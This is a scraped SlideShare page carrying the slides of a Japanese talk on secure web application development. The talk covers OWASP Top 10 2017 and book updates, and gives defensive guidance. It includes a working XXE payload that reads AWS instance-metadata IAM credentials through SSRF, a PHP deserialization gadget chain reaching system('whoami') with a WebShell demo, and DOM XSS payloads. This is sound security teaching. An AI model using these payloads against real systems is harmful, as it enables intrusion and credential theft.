Recommended
PPTX
SPAセキュリティ入門~PHP Conference Japan 2021
PDF
PPTX
徳丸本に載っていないWebアプリケーションセキュリティ
PPTX
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
PDF
PDF
PPTX
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)
PDF
130821 owasp zed attack proxyをぶん回せ
PDF
PDF
PDF
ヤフー社内でやってるMySQLチューニングセミナー大公開
PDF
AWSにおけるIaCを活かしたTerraformの使い方2選! ~循環型IaCとマルチクラウドチックなDR環境~ (HashiTalks: Japan 発...
PPTX
20220409 AWS BLEA 開発にあたって検討したこと
PPTX
PDF
イエラエセキュリティMeet up 20210820
PDF
PDF
DevOps with Database on AWS
PDF
PPTX
PDF
AWS Black Belt - AWS Glue
PDF
PPT
PDF
OSS+AWSでここまでできるDevSecOps (Security-JAWS第24回)
PDF
PPTX
PPTX
ちゃんとした C# プログラムを書けるようになる実践的な方法~ Visual Studio を使った 高品質・低コスト・保守性の高い開発
PDF
Docker入門-基礎編 いまから始めるDocker管理【2nd Edition】
PPTX
[BurpSuiteJapan]Burp Suite導入・操作
PDF
PPTX
More Related Content
PPTX
SPAセキュリティ入門~PHP Conference Japan 2021
PDF
PPTX
徳丸本に載っていないWebアプリケーションセキュリティ
PPTX
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
PDF
PDF
PPTX
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)
PDF
130821 owasp zed attack proxyをぶん回せ
What's hot
PDF
PDF
PDF
ヤフー社内でやってるMySQLチューニングセミナー大公開
PDF
AWSにおけるIaCを活かしたTerraformの使い方2選! ~循環型IaCとマルチクラウドチックなDR環境~ (HashiTalks: Japan 発...
PPTX
20220409 AWS BLEA 開発にあたって検討したこと
PPTX
PDF
イエラエセキュリティMeet up 20210820
PDF
PDF
DevOps with Database on AWS
PDF
PPTX
PDF
AWS Black Belt - AWS Glue
PDF
PPT
PDF
OSS+AWSでここまでできるDevSecOps (Security-JAWS第24回)
PDF
PPTX
PPTX
ちゃんとした C# プログラムを書けるようになる実践的な方法~ Visual Studio を使った 高品質・低コスト・保守性の高い開発
PDF
Docker入門-基礎編 いまから始めるDocker管理【2nd Edition】
PPTX
[BurpSuiteJapan]Burp Suite導入・操作
Similar to 安全なWebアプリケーションの作り方2018
PDF
PPTX
PPTX
Railsエンジニアのためのウェブセキュリティ入門
PDF
Laravel × レイヤードアーキテクチャを実践して得られた知見と反省 / Practice of Laravel with layered archi...
PDF
ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011
PDF
バリデーション駆動開発(仮称)で プロジェクトメンバー全員を幸せにした話
PDF
50分で掴み取る ASP.NET Web API パターン&テクニック
PPTX
PDF
PDF
HTML5を使うためのプログレッシブエンハンスメント 〜すべての人に確実に情報を届けるために〜SwapSkillsFreeEventProgressiv...
PDF
PDF
「新しい」を生み出すためのWebアプリ開発とその周辺
PPTX
HTML5 Web アプリケーションのセキュリティ
PDF
PPTX
オワスプナイト20150115 dependency check
PDF
アプリ開発者に大きな影響 2017年版OWASP TOP 10
PPTX
PDF
KEY
PDF
More from Hiroshi Tokumaru
PPTX
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
PPTX
PPTX
PPTX
『例えば、PHPを避ける』以降PHPはどれだけ安全になったか
PPTX
Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
PDF
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
PPTX
XXE、SSRF、安全でないデシリアライゼーション入門
PPTX
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
PPTX
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
PPTX
PPTX
PDF
Rails SQL Injection Examplesの紹介
PPTX
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか
PPTX
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
PPTX
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう
PPTX
PPTX
PPTX
PPTX
introduction to unsafe deserialization part1
PPTX
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
安全なWebアプリケーションの作り方2018 1. 2. 3. 徳丸浩の自己紹介
• 経歴
– 1985年 京セラ株式会社入社
– 1995年 京セラコミュニケーションシステム株式会社(KCCS)に出向・転籍
– 2008年 KCCS退職、HASHコンサルティング株式会社(現社名:EGセキュアソリューショ
ンズ株式会社)設立
• 経験したこと
– 京セラ入社当時はCAD、計算幾何学、数値シミュレーションなどを担当
– その後、企業向けパッケージソフトの企画・開発・事業化を担当
– 1999年から、携帯電話向けインフラ、プラットフォームの企画・開発を担当
Webアプリケーションのセキュリティ問題に直面、研究、社内展開、寄稿などを開始
– 2004年にKCCS社内ベンチャーとしてWebアプリケーションセキュリティ事業を立上げ
• 現在
– EGセキュアソリューションズ株式会社 代表 https://www.eg-secure.co.jp/
– 独立行政法人情報処理推進機構 非常勤研究員 https://www.ipa.go.jp/security/
– 著書「体系的に学ぶ 安全なWebアプリケーションの作り方」(2011年3月)
同 第2版が 2018年6月21日発売
「徳丸浩のWebセキュリティ教室 」(2015年10月)
– 技術士(情報工学部門)
3
4. 5. 6. OWASP Top 10 – 2017 の内容
6
項番 内容
A1 インジェクション
A2 認証の不備
A3 機微な情報の露出
A4 XML外部エンティティ参照(XXE)
A5 アクセス制御の不備
A6 不適切なセキュリティ設定
A7 クロスサイトスクリプティング(XSS)
A8 安全でないデシリアライゼーション
A9 既知の脆弱性のあるコンポーネントの使用
A10 不十分なロギングとモニタリング
New
7. 8. 9. こんなプログラムが脆弱
<?php
$doc = new DOMDocument();
$doc->load($_FILES['user']['tmp_name']);
$name = $doc->getElementsByTagName('name')->item(0)->textContent;
$addr = $doc->getElementsByTagName('address')->item(0)->textContent;
?><body>
以下の内容で登録しました<br>
氏名: <?php echo htmlspecialchars($name); ?><br>
住所: <?php echo htmlspecialchars($addr); ?><br>
</body>
9
XMLを外部から受け取り解析している
10. 11. 12. 13. EC2インスタンスからクレデンシャル取得
$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/test-
role
{
"Code" : "Success",
"LastUpdated" : "2018-12-14T04:18:31Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIAR6MQXXXXXXXXXXXX",
"SecretAccessKey" : "fksJ2MS/XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
"Token" :
"FQoGZXIvYXdzEL7//////////wEaDMvvWcaPXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXX=",
"Expiration" : "2018-12-14T10:54:27Z"
}
13
DEMO:XXEによるSSRF攻撃でやってみよう
14. SSRF攻撃用のXML
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY credential SYSTEM "http://169.254.1
69.254/latest/meta-data/iam/security-credent
ials/test-role">
]>
<user>
<name>徳丸浩</name>
<address>&credential;</address>
</user>
14
15. 16. 17. 18. 19. 20. :Foo
func:
安全でないデシリアライゼーションによる任意コード実行
20
:配列
0:
1: 'exec'
:Bar
func = 'system'
args = ['whoami']
1. Fooオブジェクトのデストラクタが呼ばれる
2. call_user_func($this->func) が呼ばれる
3. Barオブジェクトのexecメソッドが呼ばれる
4. Barオブジェクトのexecメソッド内で、call_user_func_array('system', ['whoami']) が呼
ばれる
5. system('whoami') が呼ばれる
class Foo {
private $func;
public function __destruct() {
call_user_func($this->func);
}
}
class Bar {
private $func;
private $args;
public function exec() {
call_user_func_array(
$this->func, $this->args);
}
}
21. 22. Welcart 1.9.4 をリリースしました【脆弱性の修正】
Welcart 1.9.4 をリリースしました。オブジェクトインジェクション
脆弱性の修正などを行いました。詳細は以下の通りです。
アップグレードを行う場合は、Welcartを停止してからアップグレー
ドを行ってください。
【変更点】
• オブジェクトインジェクション脆弱性の修正
フロントにて、オブジェクトインジェクションと思われる脆弱性
が認められました。
過去のすべてのバージョンが対象となります。1.9.4にアップグ
レードしてください。
放置しますと、サイトに任意のファイルの埋め込まれる可能性が
あります。
脆弱性に関する修正の差分はこちら
22https://www.welcart.com/community/archives/83947より引用
23. 24. Welcart 1.9.3 と 1.9.4の差分
24
https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=1728429%
40usc-e-shop&old=1728428%40usc-e-shop&sfp_email=&sfph_mail= より引用
典型的な
オブジェクトインジェクション脆弱性
25. 攻撃に利用できるクラス: All-in-one Event Calendar より
class Ai1ec_Shutdown_Controller {
protected $_preserve;
protected $_restorables;
protected $_callbacks;
public function __destruct() {
// replace globals from our internal store
$restore = array();
foreach ( $this->_preserve as $name => $class ) {
// 略
}
// execute callbacks
foreach ( $this->_callbacks as $callback ) {
call_user_func( $callback );
}
// 後略
}
// 後略
}
25
攻撃に利用可能
26. 攻撃に利用できるクラス: ManageWP Worker より
class MWP_WordPress_HookProxy
{
private $callback;
private $args;
// 省略
public function hook()
{
call_user_func_array($this->callback, $this->args);
}
}
26
攻撃に利用可能
Demo
27. 28. デモ
• WordPress + Welcart + All-in-one Event Calendar +
ManageWP Worker (WordPressプラグイン)の環境
• Welcart の 安全でないデシリアライゼーションを用いてリ
モートコード実行
• WebShell設置
• 上記をNetBeas上でトレースします
28
29. 30. 31. 32. 33. 34. 35. 36. 37. 38. 39. 40. 41. 42. 主な改定内容(増えたもの)
• CORS
• クリックジャッキング
• ファイルアップロード(PDFのFormCalc)
• 構造化データの読み込みにまつわる問題
– 安全でないデシリアライゼーション、XXE
• キャッシュからの情報漏えい
• Web APIにまつわる問題
• JavaScriptの問題
• 脆弱性診断入門
• OWASP Top 10 -2017 完全ほぼ対応
42
43. 44. 45. 46. 47. 48. 49. 50. FormCalcによるコンテンツハイジャックの対策
• 以下の両方を実施
– PDF ファイルはブラウザ内で開かずダウンロードを強制
する
– PDF をobject要素やembed要素では開けない仕組みを実
装する
• 後者を実現するにはどうすればいい?
– 複数の方法が考えられるが…
– サンドボックス・ドメインを用いる方法
– 例えばPOSTリクエストに限定する方法がある
• POSTは嫌ですか?…実は僕も嫌なんですが…
– 凝った方法を採用してももちろん良いが、Adobe Reader
のイケテナイ仕様への対処に手間をかけても…
50
51. 52. 53. JSONPのコールバック関数名によるXSS の原因と対策
• 原因
– JSONPのMIMEタイプはtext/javascript
(application/javascript)なのに、
text/htmlとしている
– コールバック関数名の文字種チェックをしていない
• 対策
– MIMEタイプをtext/javascriptとする
Content-Type: text/javascript; charset=UTF-8
– コールバック関数名の文字種を英数字とアンダースコア
に限定する
53
54. Dom Based XSS (JavaScriptの問題の例)
54
<body>
<script>
window.addEventListener("hashchange", chghash, false);
window.addEventListener("load", chghash, false);
function chghash() {
var hash = decodeURIComponent(window.location.hash.slice(1));
var color = document.getElementById("color");
color.innerHTML = hash;
}
</script>
<a href="#赤">赤</a>
<a href="#緑">緑</a>
<a href="#青">青</a>
<p id="color"></p>
</body>
脆弱な例: フラグメント識別子を表示するだけのスクリプト
55. DOM Based XSSの攻撃例
• Script要素による攻撃は有効にならない
<script>alert(1)</script> など
• img 要素のonerror属性などは攻撃に使える
<img src=# onerror=alert(1)>
• 上記を含むHTMLをinnerHTMLに挿入すると、JavaScriptが実
行される
• document.writeであれば、script要素でも攻撃可能
55
56. 対策: Dom Based XSS
• 『DOM Based XSS』に関するレポート に詳しい
• document.writeやinnerHTMLの使用を避ける
• DOM操作APIを用いる or 適切なエスケープ処理
• jQueryを用いる場合は html()メソッドではなく、text()メソッドを用いる
function chghash() {
var hash = window.location.hash;
var color = document.getElementById("color");
// 脆弱
// color.innerHTML =
// decodeURIComponent(window.location.hash.slice(1));
// 対策
color.textContent =
decodeURIComponent(window.location.hash.slice(1));
}
56
57. 58. 59. ウェブ・セキュリティ試験(通称:徳丸試験)を2019年12月より開始
一般社団法人BOSS-CON JAPAN(代表理事:吉政忠志、所在:東京都世田
谷区、以下「BOSS-CON JAPAN」)は、BOSS-CON JAPAN内組織である
PHP技術者認定機構が国内Webセキュリティ第一人者である徳丸浩氏が代
表を務めるEGセキュアソリューションズ株式会社の支援を受け、ウェブ・
セキュリティ試験(通称:徳丸試験)を2019年12月より開始することを発
表いたしました。なお、本試験問題はEGセキュアソリューションズ株式会
社が作成いたします。
■ウェブ・セキュリティ試験実施の背景
全世界で稼働しているWebサイトは5億サイトになりました。企業にとって
も重要な位置づけになるため、サイバー攻撃の対象となるケースも増え、
攻撃手法も複雑かつ巧妙になってきています。よってウェブ・セキュリ
ティに対する対策は以前よりまして緊密且つ迅速に施さなければなりませ
ん。ユーザ、開発者に対してより一層のウェブ・セキュリティに対する意
識と知見を高めるべく、本試験を実施いたします。本試験の主教材はウェ
ブ・セキュリティの名著として知られる徳丸浩氏による「体系的に学ぶ 安
全なWebアプリケーションの作り方 第2版」を採用し、本書を基本的な出題
範囲として基礎的な知見を問う試験と実務知識を問う試験を実施いたしま
す。
62https://www.phpexam.jp/news/tokumarushiken/ より引用
60. 61. まとめ
• 最近のウェブセキュリティを取り巻く話題
• OWASP Top 10 – 2017や徳丸本改版を巡る話題
– PDFのFormCalcによるコンテンツハイジャック
– XXEとSSRF
– 安全でないデシリアライゼーション
• 割賦販売法改正・施行
• 安全なWebアプリケーションの作り方 第2版を読もう
• そして、「徳丸試験」を受けて理解度を確認しよう
64